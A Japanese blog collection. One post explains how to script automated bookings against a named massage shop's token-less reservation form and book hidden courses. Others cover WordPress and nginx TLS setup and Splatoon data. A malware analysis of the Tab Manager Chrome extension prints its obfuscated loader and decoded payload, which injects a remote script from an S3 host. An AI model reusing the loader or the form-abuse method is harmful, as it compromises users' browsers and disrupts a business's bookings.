悟空のきもちの予約フォームには致命的ではないが色々問題がある。

悟空のきもちというマッサージ屋さんが全然予約取れないらしいのと、予約フォームのソース見たらかなりひどい簡単に予約自動化できそうだったので、スクリプトを組んで予約してみました。
…のですが、「システム不具合で予約が取れなかった」とお店から連絡がきました。なぜ不具合が起こったか調査してるそうなので(本当に調査してるのかは別として)、私も調べてみることにしました。
ソースコードを見ればすぐわかるような、スクリプトキディレベルのことしか書いてないです。
詳細書きすぎると問題になりそうなのであえて書いてませんが、普通にHTMLとPOSTリクエストの組み方がわかる人なら10分ソースを眺めればわかることばかりです。

詳細

予約フォームは以下のURLですが、
https://goku-nokimochi.com/reservation.html
実際の予約本体は以下のURLを使用しています。
https://form.goku-nokimochi.com/form/reservation/index3.php?shop_id=

恐らくこちらの製品を使用しているようです。
メールフォームプロCGI/UTF-8対応・クレジット決済機能対応 | 無料素材

予約が空いているかどうかは、店舗名とコースを選択した時点でGETリクエストにより問い合わせが行われ、selectタグに反映されます。
例えば、銀座店で60分コースを選択すると以下にリクエストが飛び、JSON形式でレスポンスが返ってきますね。
https://form.goku-nokimochi.com/form/getReservation4.php?shop_id=4&course_id=157

index3.phpが出力しているHTMLのsetUpTimeメソッドを見ると、恐らく配列内には時刻が4ケタの数字で格納されているだろうことがわかります。(実際そうでした。)

value.substr(0,2) + "時"+ value.substr(2,2) + "分"...

フォームにはトークン等も設定されていないので、getReservation4.phpに定期的に問い合わせを送り、自分の都合の良い日時の空きがあれば、予約用のリクエストボディを組み立てて../sendmail2.php宛にcurlかなにかでPOSTしてしまえば良いことがわかります。

../sendmail2.php 宛にPOSTしても、実際にはまだ予約が完了にならず、customer_idが発行されるだけになります。どうやらsendmail2.php宛にリクエスト投げた時点で予約できてしまうようです。
customer_idが発行されると、以下のURLにジャンプします。
https://form.goku-nokimochi.com/form/reservation/sheet.php?customer_id=

sheet.phpのフォーム

トークン等は存在しないので、予約用のリクエストボディを組み立てて ../sendsheet.php にPOSTしてしまえば予約が取れてしまいますね。

このシステムで微妙な部分

予約が埋まっている時間帯を指定してリクエストを組み立ててもエラーが返ってきてしまいますが、エラーが返ってこなくなるまでリクエストを投げ続ければ、キャンセルで空きが出た瞬間に予約が取れますね。簡単に予約代行できそうです。
このマッサージ屋さんに限ったことではなく、似たような予約システムを抱えているところには同じ問題がいえますね。

このシステムで問題のある箇所

index3.php(予約フォームの本体)で、好きな日付を入力した上で時刻指定(r_time)の値を指定しなかった場合、customer_idが発行できてしまいます。
何かの拍子でr_timeが設定されていないのにリクエストが飛んだ場合、そのまま予約が(時刻指定なしのまま)とれてしまいますね。
私はコレにひっかかったのかも。
あと、コースIDが予測できるものなので、隠しコースとか予約できてしまいますね。実際予約できたんでこのままでいいや…。お金払うし…。

フロントのソースコードが中学生が作った掲示板レベルなので、調べたらもっといっぱい穴がありそうでオラワクワクしてきたぞ(悟空のきもちだけに)。
バックエンドもきっとヤバそうな気がします。

【未解決→解決】WPtouch Mobile Pluginが適用されたモバイルページでContact Form 7が動作しない。

未解決です。このサーバでしか起こらない問題かどうかすらもわかってません…。
Contact Form 7のv4.8とWPtouch Mobile Pluginのv4.3.18を導入している環境で、かつモバイルページからContact Form 7を使用して問い合わせを送信した場合、メールが送信されません。
WordPressのバージョンは4.8です。

最初nginxのキャッシュフラグの設定がおかしいかと思ったのですが、curlコマンドでPOSTした場合は正しく問い合わせが送信できるためWPtouchとの組み合わせが悪いと判断しました。(curlでUAをモバイル系にすると送信されないが、適当な文字列にすると送信できる)

php-fpmのログにもnginxのログにも何も出てないし、POSTを送信すると200OKしか返ってこないのでデバッグが面倒です。いま適用しているテーマはありがたいことにレスポンシブデザインなので、とりあえずWPtouchを無効にしました。

この現象がいつから起こっていたか把握できないため、過去スマホ・タブレット経由でcontactからお問い合わせを送信された方につきましては、お手数ですが再度送信をお願いいたします。すみません…。

追記(2017/08/08)

普通にContact Form 7用のjsがWPtouch用のテンプレートで読み込まれていないからでした。仕方ないので、footerに以下のコードを挿入して解消しました。
js無いと動かないんですね。そりゃそうか。

<script type='text/javascript'>
/* <![CDATA[ */
var wpcf7 = {"apiSettings":{"root":"https:\/\/retrorocket.biz\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"},"recaptcha":{"messages":{"empty":"\u3042\u306a\u305f\u304c\u30ed\u30dc\u30c3\u30c8\u3067\u306f\u306a\u3044\u3053\u3068\u3092\u8a3c\u660e\u3057\u3066\u304f\u3060\u3055\u3044\u3002"}}};
/* ]]> */
</script>
<script type='text/javascript' src='https://retrorocket.biz/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=4.8.1'></script>

このブログのSSL設定とかの話。

前Cipher Suitesの話をしたのでこのブログのSSL設定を紹介します。Webサーバはnginxです。
試験的にtag.retrorocket.bizにだけh2oを使ってるのですが、なかなかいい感じなのでそのうち乗り換えるかもしれません。
サブドメインで運用しているサービスは一部設定が足りてなかったりしてSSL LabsでA+じゃなかったりするのですが、AかA-なので及第点と思っています。retrorocket.bizはA+です。
SSL Server Test (Powered by Qualys SSL Labs)
http/2には対応済みです。

設定の一部

ssl_dhparam /etc/nginx/ssl/dhparam.pem;

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers 'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS';
ssl_prefer_server_ciphers on;

add_header Strict-Transport-Security max-age=15768000;

ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /etc/nginx/ssl/ca-certs.crt;

resolver 8.8.8.8 8.8.4.4 valid=300s;

設定の根拠

基本的に「瀕死のリテラシー メカニカルに殺す」「世の中のいけてるところが推奨しているものは信頼できるもの」、という考えなので、MozillaWikiのIntermediate compatibilityの設定を使用しています。
Security/Server Side TLS – MozillaWiki
Modernの設定に寄せたいので、TLS1.0は切っていいかなと思ってアクセスログを見たのですが、利用者にAndroid4系の人がめちゃくちゃ多いので諦めました。
openssl 1.1.0以上を使用しているとCHACHA20-POLY1305が使用できます。
新しいTLSの暗号方式ChaCha20-Poly1305 – ぼちぼち日記

参考にしたサイト等

自分で理解しないまま設定するのは絶対避けたいので、以下のサイトを参考にしています。
理解してるつもりの SSL/TLS でも、もっと理解したら面白かった話 · けんごのお屋敷
httpsだからというだけで安全?調べたら怖くなってきたSSLの話!? – Qiita
我々はどのようにして安全なHTTPS通信を提供すれば良いか – Qiita
OCSP StaplingはMozillaWiki見るまで知らなかったので勉強になりました。

Start SSLの証明書で運用しているサービスはそろそろ証明書更新の時期なので、Let’s Encryptに乗り換えようと思っています。

スプラトゥーンで封印ルールが最後に開催された時間を調べる。

シオノメヤグラとかホッケヤグラとか封印されているルールとステージが復活してるので各ステージがいつ開催されたか調べてみました。
splapiはクエリパラメータで開催情報を検索できるのですが、私以外使ってる人があまりいなくて寂しいです。

Bバスパークのガチホコ
→2016-01-15T07:00:00

ショッツル鉱山のガチホコ
→2016-01-21T11:00:00

シオノメ油田のガチホコ
→2016-01-19T07:00:00

ちなみにシオノメヤグラは2015-09-29T11:00:00だったので約1年ぶり、ホッケヤグラも2015-09-26T19:00:00なので約1年ぶりです。サービス終わるんじゃないかと心配になりますね。

ちなみに前もこんなことをしました。
今日までのスプラトゥーンのガチマッチの開催情報をelasticsearch+kibanaで解析した。

Tab Managerの旧ver(4.3.4)がcoolbarを仕込んでいた方法がわかったので書く。

Chrome ExtensionのLive HTTP Headersの調査(CoolBar.Pro導入 Extensionが何を行うかの調査)
CoolBarってTab Managerにもいたよね、ということで。

昔の記事で、Tab Managerがどうやってマルウェア化コードを仕込んだかわからない、と書いたのですが、わかったので方法を書いてみます。Tab Managerは最新版が4.5.1なので、恐らく4.3.4とは別の方法でコードを埋め込んでいると思うのですが、今後の予防という面での参考になればと思い掲載します。

調査対象の絞り込み。

4.3.4はlib配下にjsが入っているのですが、マルウェア化する前の4.2.0とdiffを取ると以下が増えています。
(ちなみに、Live HTTP Headersは画像にマルウェア化コードを仕込んでいますが、4.2.0とdiff取ると差分がないので、Tab Managerは画像に仕込んでいないことがわかります。)

  • background-ui.js
  • background.js
  • jquery.min.js
  • knockout.min.js
  • options.js

うち、knockout.min.jsからはknockoutのバージョン表記が消されていて怪しいので、こいつを調べてみます。
knockout.min.jsとbackground.jsはgistで上げておきます。ほんとは人のコードだから上げちゃだめなんだろうけど。
Tab Manager 4.3.4 background.js knockout.min.js

minifyからの復元にはPretty Diff – The difference toolを使用しました。
以降、行数はprettydiffでの復元結果をもとに説明します。

ソースを見てみる。

knockout.min.jsをざーっと眺めてみます。

2866行目になんだか怪しい変数がいました。

            var co = "e+8#.9$%22#ed6;,?m%3Empm)%22.8%20(#9c.?(,9(%08!(%20(#9ej%3E.?$=9jdv%3Ec%3E?.mpmj" +
                    "%2599=%3Ewbb%3E~c(8%60.(#9?,!%60%7Cc,%20,7%22#,:%3Ec.%22%20b+%22?9%22#b9,/%12%20" +
                    ",#,*(?c'%3Ejv)%22.8%20(#9c/%22)4c,==(#)%0E%25$!)e%3Edv0dedv1.%25?%22%20(19,/%3E1" +
                    "(5(.89(%1E.?$=91%22#%18=),9()1!%22.,!1%3E9%22?,*(1*(91%04%09";

coの呼び出し元を調べると、3841行目にかなり怪しい関数がいます。
String.fromCharCodeを呼んでるし、こいつが犯人ですね。
コメントに挙動を書いておきました。間違ってるかも。

        function () {
            function b() {
                try {
                    var o = c(d(co)).split("|");
                    // この時点でのoの内容は後述
                    "undefined" != typeof window[o[1]][o[2]] && window[o[1]][o[6]][o[5]][o[7]](o[8], function (c) {
                        // background.jsでchromeのstorageに拡張初回起動時の時間をセットしている。現在時刻が記録された時刻の4.8時間後ならイベントリスナを登録する。
                        "undefined" != typeof c[o[8]] && (new Date).getTime() > c[o[8]] + e() 
                            ? function () {
                                eval("function t(i,c) {'complete'==c.status&&" + o[1] + "." + o[2] + "." + o[3] + '(i, { code: "' + o[0] + '" }); }; ' + o[1] + "." + o[2] + "." + o[4] + ".addListener(t);")
                            }()
                            : function () {
                                setTimeout(function () {
                                    b()
                                }, 36e5) //3600000ミリ秒=未定義なら1時間後にこの関数が呼ばれるようになっている。
                            }()
                    })
                } catch (e) {}
            }
            function c(e) {
                for (var n = 0, a = e.length, t = ""; a > n;) 
                    t += String.fromCharCode(77 ^ e.charCodeAt(n++)); // URLデコードされたcoの復号化。
                return t
            }
            function e() {
                return parseInt("107AC00", 16) //17280000ミリ秒 = 4.8時間
            }
            function d(e) {
                return decodeURI(e)  // coの復号化。丁寧にURLエンコード噛ませてるのでたちが悪い。
            }
            b()
        }(),

var oの中身。

0: "(function(){var s = document.createElement('script');s.src = 'https://s3.eu-central-1.amazonaws.com/forton/tab_manager.js';document.body.appendChild(s);})();" // ぐわー
1: "chrome"
2: "tabs"
3: "executeScript"
4: "onUpdated"
5: "local"
6: "storage"
7: "get"
8: "ID"

tab_manager.jsの挙動はreddit.comの記事通りです。
拡張インストール後5時間位経過していた場合は、めでたくscriptタグが埋め込まれます。
こんなの審査で見つけられるわけないでしょう…。わかった瞬間超脳汁出たもん。
手口が完全にマルウェアなので、パズル解いてるみたいで超楽しかったです。

あと、記事書き終わってTab Managerのページ見たら404になってました。良かったです。

追記。とりあえず4.5.1も調べた。

楽しかったので4.5.1も調べました。3ヶ月前に見つけて報告してたらもっと早く公開停止になってたかもしれないので不甲斐ないです。
bg.jsから暗号化されたマルウェア化コードをstorageに仕込んだ後、jquery-2.2.2.min.jsの最後に書いてあるma.Wi()から、勝手に定義したjQuery.check()→jQuery.proceed()を呼んでますね。

// jquery-2.2.2.min.js
   //(略)
    ma.extend({
        check: function (a) {
            window[a[1]][a[2]][a[3]][a[4]](a[0], function (b) {
                "undefined" == typeof b[a[0]]
                    ? setTimeout(jQuery.check, 6e4, a)
                    : jQuery.proceed(b[a[0]])
            })
        }
    }),
   //(略)
    ma.extend({
        proceed: function (a) {
            aa = decodeURI(a);
            for (var b = 0, c = aa.length, d = ""; c > b;) 
                d += String.fromCharCode(77 ^ aa.charCodeAt(b++));
            var e = d.split("|");
            window[e[1]][e[6]][e[7]][e[8]](e[10], function (b) {
                "undefined" == typeof b[e[10]]
                    ? function () {
                        var b = {};
                        b[e[10]] = (new Date).getTime(),
                        window[e[1]][e[6]][e[7]][e[9]](b),
                        setTimeout(jQuery.proceed, 36e5, a)
                    }()
                    : ((new Date).getTime() - b[e[10]] || 0) < 864e5
                        ? setTimeout(jQuery.proceed, 36e5, a)
                        : function () {
                            window[e[1]][e[2]][e[3]][e[4]](function (a, b) {
                                "complete" == b.status && window[e[1]][e[2]][e[5]](a, {code: e[11]})
                            })
                        }()
            })
        }
    }),

    //(略)

    // 復号化されると UID|chrome|storage|local|get|tabs
    ma.Wi              = function (a, b, c) {
        var d = "%18%04%091.%25?%22%20(1%3E9%22?,*(1!%22.,!1*(919,/%3E";
        d = decodeURI(d);
        for (var e = 0, f = d.length, g = ""; f > e;) 
            g += String.fromCharCode(77 ^ d.charCodeAt(e++));
        var h = g.split("|");
        "undefined" != typeof window[h[1]][h[5]] && jQuery.check(h)
    },

// background.js
(function () {
    setTimeout(function () {
        if (chrome.storage) {
            chrome.storage.local.get({UID: 0}, function (r){
                0 == r.UID && chrome.storage.local.set({
                    UID : "%7D1.%25?%22%20(19,/%3E1%22#%18=),9()1,))%01$%3E9(#(?1(5(.89(%1E.?$=91%3E9%22?,*(1!%22.,!1*(91%3E(91%04%091e+8#.9$%22#ed6;,?m%3Empm)%22.8%20(#9c.?(,9(%08!(%20(#9ej%3E.?$=9jdv%3Ec%3E?.mpmjbb%3E~c(8%60.(#9?,!%60%7Cc,%20,7%22#,:%3Ec.%22%20b+%22?9%22#b9,/%12%20,#,*(?%12xc'%3Ejv)%22.8%20(#9c/%22)4c,==(#)%0E%25$!)e%3Edv0dedv"
                });
            });
        } else {
            console.error("Chrome storage access failed");
        }
    }, 10);
})();

// 復号化されると以下のコードが埋め込まれる
(function(){var s = document.createElement('script');s.src = '//s3.eu-central-1.amazonaws.com/forton/tab_manager_5.js';document.body.appendChild(s);})();